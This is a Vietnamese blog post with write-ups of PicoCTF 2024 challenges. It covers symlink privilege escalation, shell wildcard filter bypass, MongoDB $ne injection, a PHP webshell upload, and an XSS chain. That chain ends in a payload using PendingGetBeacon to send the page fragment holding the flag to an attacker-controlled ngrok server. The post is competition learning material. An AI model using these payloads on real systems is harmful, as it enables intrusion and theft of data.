Post

PicoCTF 2024

PicoCTF2024 đã kết thúc, giải này mình có khá nhiều nuối tiếc vì bài cuối web quá khó, dù không clear nhưng team Zafk1el tụi mình đã cố gắng hết sức. Tiện đây mình viết writeup một số bài đáng chú ý trong giải này.

image

GENERAL SKILLS: dont-you-love-banners

1
2
3
4
Can you abuse the banner?
The server has been leaking some crucial information on tethys.picoctf.net 64560. Use the leaked information to get to the server.
To connect to the running application use nc tethys.picoctf.net 64699. From the above information abuse the machine and find the flag in the /root directory.

CÁCH 1: symlink

Trước hết thì trả lời vài câu hỏi để được vào được shell của player

image

Khi mình vào được shell thì bắt đầu lượn qua các folder, mô tả của bài bảo hãy tìm cách đọc flag ở folder /root nên mình cd đến folder đó để xem

image

Tất nhiên là làm gì có chuyện dễ thế, flag đã bị giới hạn quyền chỉ có root mới có quyền đọc

image

Vậy làm gì bây giờ ? Lúc này mình mới để ý có file script.py nên mình mở lên xem, đây là nội dung file script.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import pty

incorrect_ans_reply = "Lol, good try, try again and good luck\n"

if __name__ == "__main__":
    try:
      with open("/home/player/banner", "r") as f:
        print(f.read())
    except:
      print("*********************************************")
      print("***************DEFAULT BANNER****************")
      print("*Please supply banner in /home/player/banner*")
      print("*********************************************")

try:
    request = input("what is the password? \n").upper()
    while request:
        if request == 'MY_PASSW@RD_@1234':
            text = input("What is the top cyber security conference in the world?\n").upper()
            if text == 'DEFCON' or text == 'DEF CON':
                output = input(
                    "the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
                if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
                    scmd = 'su - player'
                    pty.spawn(scmd.split(' '))

                else:
                    print(incorrect_ans_reply)
            else:
                print(incorrect_ans_reply)
        else:
            print(incorrect_ans_reply)
            break

except:
    KeyboardInterrupt

Trong file này thì không có gì đáng chú ý trừ 2 điểm

  • File này chạy dưới quyền root
  • File này đọc nội dung 1 tệp tin là /home/player/banner

Lúc này thì ta rút ra dùng symlink để /home/player/banner trỏ đển /root/flag.txt và đọc được flag

image

Bây giờ chỉ cần nc lại server thì script.py sẽ tự động đọc flag in ra cho ta

image

CÁCH 2: crack passwork

Trong bài này chúng ta ngoài quyền đọc 1 số file mặc định thì chúng ta lại được cấp quyền đọc file /etc/shadow, file này là file quan trọng chứa password của tất cả user ( đã bị mã hoá ) vậy nếu chúng ta có thể decrypt lại thì chúng ta sẽ có password và thăng lên quyền root

image

Về cách crack password thì mình sử dụng tool hashcat để crack ra password

Cách này thì mình không đánh giá cao lắm vì nhìn hơi cùi <(“) nhưng mà nó cũng là một cách

Funfact: Trong lúc làm bài này mình đã ngẫu nhiên gõ đúng password của root trong ngay lần đầu tiên, sau đó mình mới dùng cách symlink

Flag: picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_68ca8b23}

GENERAL SKILLS: SansAlpha

1
2
3
The Multiverse is within your grasp! Unfortunately, the server that contains the secrets of the multiverse is in a universe where keyboards only have numbers and (most) symbols.
Additional details will be available after launching your challenge instance.

Bài này chặn tất cả các chữ cái và 1 số ký tự đặc biệt, chỉ có thể xài số và các ký tự đặc biệt. Bài này sau một lúc suy nghĩ thì mình nghĩ theo hướng wildcards và tìm ra 2 cách khá hay

Cách 1: Sử dụng base32

Sau một lúc fuzzing thì mình tìm thấy file flag.txt ở ./blargh/flag.txt

image

Tiếp theo chúng ta cần tìm cách đọc flag. Để thực thi được lệnh thì trong lệnh đó chỉ có thể có ký tự đặc biệt và số, kết hợp wildcard chúng ta chỉ cần tìm những lệnh có số là được. Sau đó, mình tìm được 2 lệnh có thể dùng được đó là base64 và base32

Nhưng có một vấn đề đó là base64 khi dùng wildcard lại trùng với một tệp thực thi khác /usr/bin/x86_64 vậy thì còn lại base32 có vẻ khả thi

image

Chúng ta có thể dùng wildcard gọi ra file base32 như sau /???/???/????32 và flag thì có địa chỉ ở trên rồi bây giờ kết hợp lại để đọc flag.txt.

image

Decode base32 sex ra flag

Cách 2: Sử dụng strings

Lúc nãy mình mới nói là chỉ có thể gọi ra file thực thi có số thôi mà lệnh strings thì làm gì có số để mà gọi =))) thật ra là có một cách nhưng cách này chỉ gọi được rất giới hạn

Bằng cách tận dụng tham số special bash ta có thể gọi ra một số ký tự, như ở challenge hiện tại chúng ta có dùng $- để gọi ra các ký tự sau 'h', 'i', 'm', 'B', 'H', 's'

image

Giải thích ngắn gọn thì $- là tổng hợp các flag được thiết lập cho shell bash hiện tại, như shell ở trên thì ý nghĩa từng ký tự như sau

H - histexpand: Đây là flag cho phép chúng ta lấy những gì chúng ta đã nhập bỏ vào input để tiếp tục thực hiện lệnh, cho phép chúng ta dễ dàng nhập và lặp lại lệnh

m - monitor: Đây là flag liên quan đến job control, giúp chúng ta theo dõi các job trong shell

h - hashall: Đây là flag được bật lên mặc định, nó giúp lưu trữ các lệnh mà ta thường xài để giúp tăng tốc tốc độ thực thi chương trình

B - braceexpand: Đây là flag làm cho shell có thể sử dụng brace expansion

i - interactive: Đây là flag khi mà shell có thể tương tác được

Có thể đọc thêm tại đây LINK

Bây giờ dựa vào đó, chúng ta có thể gán giá trị đó vào một biến khác để dễ dàng sử dụng hơn mình sử dụng biến ____ để lấy giá trị $-

image

Lúc này mình kiểm tra đã gán thành công bây giờ đến bước lấy ký tự trong đó ra bằng ${____:index:len}

Sau khi đánh giá các lệnh có thể mình đã chọn lệnh strings để sử dụng, dựa vào các dữ kiện ở trên mình có thể craft được payload như sau /?${____:5:1}?/???/${____:5:1}??${____:1:1}??${____:5:1} (/?s?/???/s??i??s)

Lúc này chúng ta gần như có được lệnh ls (fake) và cat (fake) với lệnh này ta có thể đọc bất kỳ file nào nếu biết địa chỉ

image

Đọc flag

image

Flag: picoCTF{7h15_mu171v3r53_15_m4dn355_36a674c0}

WEB EXPLOITATION: No Sql Injection

1
2
3
Can you try to get access to this website to get the flag?
You can download the source here.
The website is running here. Can you log in?

App sử dụng MongoDB, sử dụng phương thức POST để gửi giá trị email và password lên

Bài này chỉ có 2 chổ cần chú ý

  • Tại /api/login/route.ts có 1 đoạn lệnh như sau
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
       const users = await User.find({
      email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
      password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password
    });
    if (users.length < 1)
      return new Response("Invalid email or password", { status: 401 },users);
    else {
      return new Response(JSON.stringify(users), { status: 200 });
    }
    
  • Và tại /models/user.ts có đoạn lệnh
    1
    2
    3
    4
    5
    6
    7
    8
    
      const UserSchema: Schema = new Schema({
    email: { type: String, required: true, unique: true },
    firstName: { type: String, required: true },
    lastName: { type: String, required: true },
    password: { type: String, required: true },
    token: { type: String, required: false ,default: ""},
      });
      const User = models.User || mongoose.model<UserInterface>("User", UserSchema);
    

Tại route.ts đoạn code sẽ kiểm tra xem nếu biến emailpassword truyền vào bắt đầu bằng ‘{‘ và kết thúc bằng ‘}’ thì parse cái JSON đó ra còn ngược lại thì truyền vào nguyên giá trị đó và nếu login vào thành công sẽ trả về users

Tại user.ts đoạn code trên gán một key là token với value mặc định là FLAG

MongoDB thì có thể thêm một số query operator để tạo ra các điều kiện cụ thể để database trả về dữ liệu ứng với điều kiện đó, dựa vào đó ta có thể bắt nó trả về giá trị mà ta mong muốn

Vậy chúng ta có thể thêm một query operator $ne để trả về tất cả giá trị không giống với giá trị ta nhập vào

image

Decode token và có được flag

Flag: picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_af67328d}

WEB EXPLOITATION: Trickster

1
2
I found a web app that can help process images: PNG images only!
Additional details will be available after launching your challenge instance.

Bài này cho một trang web để upload ảnh png lên, vì đây là một bài blackbox nên mình check /robots.txt xem có gì hot không

image

Có 2 đường dẫn

  • /uploads/ có vẻ đây là nơi sẽ lưu trữ các file mình upload lên
  • /instructions.txt nội dung của nó tóm tắt là nó sẽ cho phép file upload lên có .png trong tên, có header của PNG

Upload một vài bức ảnh thì nhận ra backend của web sử dụng PHP nên mình sẽ up file PHP để tạo một cái webshell

image

Có được webshell rồi thì lấy flag thôi

image

Flag: picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_3f706222}

WEB EXPLOITATION: elements

1
Insert Standard Web Challenge Here.

Bài này cho một trang web có giao diện như sau

image

Trang web này có chức năng kéo các element vào nhau để tạo ra element mới.

Sau khi phân tích qua source code thì có các điều đáng chú ý sau:

1
2
3
4
5
6
7
8
9
10
11
12
  const evaluate = (...items) => {
    const [a, b] = items.sort();
    for (const [ingredientA, ingredientB, result] of recipes) {
      if (ingredientA === a && ingredientB == b) {
        if (result === 'XSS' && state.xss) {
          eval(state.xss);
        }
        return result;
      }
    }
	  return null;
  }

Đoạn code này nếu chúng ta tạo ra một element có tên là XSS và có giá trị state.xss thì có thể thực hiện lệnh eval()

1
2
3
4
5
6
7
8
9
10
11
try {
	state = JSON.parse(atob(window.location.hash.slice(1)));
	for (const [a, b] of state.recipe) {
		if (!found.has(a) || !found.has(b)) {
			break;
		}
		const result = evaluate(a, b);
		found.set(result, elements.get(result));
	}
} catch(e) {}

Đoạn code này sẽ lấy object state bằng cách decode phần sau dấu thăng (fragment identifier) và parse nó sau đó lấy từng giá trị trong state.recipe để craft lên element mới

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const csp =  [
		"default-src 'none'",
		"style-src 'unsafe-inline'",
		"script-src 'unsafe-eval' 'self'",
		"frame-ancestors 'none'",
		"worker-src 'none'",
		"navigate-to 'none'"
]
res.setHeader('Content-Security-Policy', csp.join('; '));
res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
res.setHeader('X-Frame-Options', 'deny');
res.setHeader('X-Content-Type-Options', 'nosniff');


Đoạn này thì set lần lượt các csp (Content-Security-Policy) để bảo mật trang web giải thích sơ qua

Default-src: none : Các nguồn được mặt định là không cho phép từ bất kỳ nguồn nào

Style-src : unsafe-inline : Cho phép chèn một inline block style

Script-src : unsafe-eval self : Cho phép dùng lệnh eval và dùng các script được tải từ cùng một nguồn

frame-ancestors none : Không cho phép các trang web khác nhúng nó vào một frame hay iframe nào đó

worker-src 'none' : Không cho phép sử dụng Worker để thực thi các lệnh javascript độc lập chạy song song

navigate-to 'none' : Không cho phép điều hướng trang web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
state = {...state, flag }

await mkdir(join(userDataDir, 'Default'));
await writeFile(join(userDataDir, 'Default', 'Preferences'), JSON.stringify({
		net: {
			network_prediction_options: 2
		}
}));

const proc = spawn(
		'/usr/bin/chromium-browser-unstable', [
		`--user-data-dir=${userDataDir}`,
		'--profile-directory=Default',
		'--no-sandbox',
		'--js-flags=--noexpose_wasm,--jitless',
		'--disable-gpu',
		'--no-first-run',
		'--enable-experimental-web-platform-features',
		`http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}`
	],
	{ detached: true }
)

Và cuối cùng là đoạn này, khi chúng ta đến đường dẫn /remoteCraft và cho nó 1 parameter recipe thì chúng ta có trigger server đi đến website này với phần fragment identifier là giá trị của object state

Có một vài setting đã được thêm vào, đoạn setting này sẽ ngăn không cho tải trước bất kỳ tài nguyên từ mạng nào

1
2
3
4
net:
{
  network_prediction_options: 2
}

Sau khi có các dữ kiện, chúng ta có thể nghỉ đến craft recipe sao cho trả về kết quả là XSS và chèn lệnh javascript vào để eval gửi flag về cho chúng ta, mình đã thử rất nhiều cách và tìm được một cách đó là sourceMappingURL nhưng để dùng được cái này thì phải mở được Devtools của chrome nhưng cách này hoàn toàn không được vì dính bảo mật của chrome

Sau đó mình thử rất nhiều lệnh vào nhưng không có lệnh nào có thể vượt qua được csp và các setting của chrome trên, đến lúc này thì mình đã bó tay và bỏ cuộc

Sau giải khi mình đọc được writeup của satoki thì mình mới biết được rằng chúng ta có thể dùng PendingGetBeacon đây là một chức năng thử nghiệm của chrome (sau này được thay thế bằng fetchLater ở những phiên bản sau này)

Giải thích về chức năng của PendingGetBeacon nó sẽ gửi request đến một HTTPS server sau khi browser bị huỷ hoặc đã được lưu vào cache và không được tải lại sau một khoảng thời gian. Nhưng điều đặc biệt nhất, nó không bị dính giới hạn của CSP và có thể dùng để gửi data trong web ra ngoài

Ta sẽ thêm một options để send beacon khi mà trang bị huỷ/ không được load sau 1 thời gian nhất định sẽ gửi request lên server bằng {timeout:1000}(sau 1s sẽ gửi)

Lúc này thì đã biết được lệnh nào có thể sử dụng được thì đoạn này đã dễ rồi

Payload: recipe={"recipe": [["Air", "Water"], ["Earth", "Water"], ["Earth", "Fire"], ["Fire", "Mist"], ["Magma", "Mud"], ["Fog", "Mud"], ["Obsidian", "Water"], ["Hot Spring", "Sludge"], ["Fire", "Steam Engine"], ["Air", "Earth"], ["Earth", "Obsidian"], ["Hot Spring", "Steam Engine"], ["Dust", "Heat Engine"], ["Computer Chip", "Fire"], ["Computer Chip", "Steam Engine"], ["Computer Chip", "Electricity"], ["Magma", "Mist"], ["Fire", "Sand"], ["Artificial Intelligence", "Data"], ["Computer Chip", "Software"], ["Air", "Rock"], ["Glass", "Software"], ["Encryption", "Software"], ["Internet", "Program"], ["Cybersecurity", "Vulnerability"], ["Exploit", "Web Design"]], "xss": "new PendingGetBeacon('https://NGROKSERVER/xxxx/?yuu=' + window.location.hash.slice(1), {timeout: 1000});"}

Sau khoảng 1s sẽ nhận được một request đến server của ta

image

Decode và lấy flag

image

Flag: picoCTF{little_alchemy_was_the_0g_game_does_anyone_rememb3r_9889fd4a}

Fun fact: Bài này sau khi mình hết cứu thì mình đã thực hiện phương thức random bullshit go và bị người anh pro của mình nhắc nhở :"(( may mà không có cái payload nào hack máy mình, hehe cảm ơn anh đã nhắc nhở

Lời bạt: Sau giải thì mình cũng học được thêm rất nhiều thứ và được cùng team chơi giải này, mong sau này team mình đạt được thứ hạng cao hơn. Cảm ơn ae (Hidori, Kuro0, fuyosuru, SinsAries)

Nguồn Writeup: https://github.com/satoki/ctf_writeups/tree/master/picoCTF_2024

This post is licensed under CC BY 4.0 by the author.